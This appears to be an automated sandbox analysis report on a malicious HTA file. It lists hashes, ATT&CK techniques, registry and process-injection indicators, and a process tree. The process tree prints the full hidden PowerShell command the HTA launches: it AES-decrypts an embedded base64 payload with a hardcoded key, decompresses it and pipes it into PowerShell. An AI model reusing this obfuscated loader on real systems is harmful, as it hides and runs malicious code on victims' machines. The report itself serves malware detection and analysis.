9a3b2d8d0e1da113f6c12a4d1517c71b8810006a3031cf129ce2ace2b2be673f

General

Target

23042024_2208_yt.hta
Size

76KB
MD5

16d297e8eee126e4b52198eff43b6c36
SHA1

5ff70dd47d868edb3f837511a55030810ec7968b
SHA256

9a3b2d8d0e1da113f6c12a4d1517c71b8810006a3031cf129ce2ace2b2be673f
SHA512

604ef34a0953d7fa1a435115f603ca45ff5b26f5033d1611d28febe2440b45e8506ef5f8eabf1b6302d4ae61a10964f6086b4e3387c3c5aab06932bace13c6e5
SSDEEP

1536:JGgLIQnvgGY9GpGOG2GSGhGKpSozTqQZwnLPcS:TvTY9GpGOG2GSGhGKpvzTTZeLUS

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2880 powershell.exe
2612 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2880 powershell.exe
Token: SeDebugPrivilege 2612 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2880	powershell.exe
2612	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2612	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 1708 wrote to memory of 2880	1708	mshta.exe	powershell.exe
PID 1708 wrote to memory of 2880	1708	mshta.exe	powershell.exe
PID 1708 wrote to memory of 2880	1708	mshta.exe	powershell.exe
PID 1708 wrote to memory of 2880	1708	mshta.exe	powershell.exe
PID 2880 wrote to memory of 2612	2880	powershell.exe	powershell.exe
PID 2880 wrote to memory of 2612	2880	powershell.exe	powershell.exe
PID 2880 wrote to memory of 2612	2880	powershell.exe	powershell.exe
PID 2880 wrote to memory of 2612	2880	powershell.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\23042024_2208_yt.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
6180a95cbb8c1b9bb796eaa1e132e451

SHA1
1ad0dae9886a3eb3908b9c31c922a2e3bb5d44fa

SHA256
19afaccdae9984e6d0a997f616b4c0bfefaff16eaf6ba336b6b5c0fd63bc6c32

SHA512
9f02c876ebd9a7fc11cf1a6a4a8499da1b1f480d8aa91a7bd897c17fdc486a9f188cc7a7a7f739a85772d8c896046a2d7c36c7390d75bf759169bf2b89c0a2bd

Download Submit
memory/2612-11-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download
memory/2612-12-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download
memory/2612-13-0x0000000002510000-0x0000000002550000-memory.dmp

Filesize
256KB

Download
memory/2612-14-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download
memory/2880-2-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download
memory/2880-4-0x0000000001C70000-0x0000000001CB0000-memory.dmp

Filesize
256KB

Download
memory/2880-3-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download
memory/2880-5-0x0000000001C70000-0x0000000001CB0000-memory.dmp

Filesize
256KB

Download
memory/2880-15-0x0000000071AB0000-0x000000007205B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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